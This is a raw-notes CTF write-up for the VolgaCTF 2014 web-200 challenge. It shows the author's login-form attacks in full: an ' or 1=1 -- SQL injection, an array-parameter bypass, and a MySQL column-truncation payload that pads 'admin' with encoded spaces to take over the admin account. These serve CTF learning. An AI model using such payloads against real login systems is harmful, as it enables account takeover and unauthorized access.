---- Writeup ----
CTF: VOLGACTF QUALS 2014
Problem: web-200
Author: Dr.Optix
All rights reserved.
NOTE: Raw notes. Also I plaid as Team Guest as I could not register my one man army team in time.
-----------------

The problem starts here:
http://tasks.2014.volgactf.ru:28102/

Doing basic recon I found that I can create any account, similar with web-100,
but I can't spot an injection spot, besides the login form.

Martian's image looks quite dirty on the left side, clue?

I teste a few injections of the following form in the login form and got
nothing:

login=admin&password=' or 1=1 -- &submit='

Out of boredoom I did:
login=admin&password[]=' or 1=1 -- &submit='

And obtained the following message:
This is your flag: COLUMN_TRUNCATION =/
Hello,admin

The flag is indeed: COLUMN_TRUNCATION


UPDATE:
They patched that bug. Now I have to solve it right. Knowing that I have to
do with column truncation I injected this:

login=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20&password=Aa1234567890&submit=

I logged in as admin. Now... to the flag...

I had to login as "admin" with the password I choose above, "Aa1234567890".

Bingo!
This is your flag: COLUMN_TRUNCATION =/
Hello,admin

Conclusion: solved it by using both bug in challenge and bug/vulnerability in
MySQL

~ Q.E.D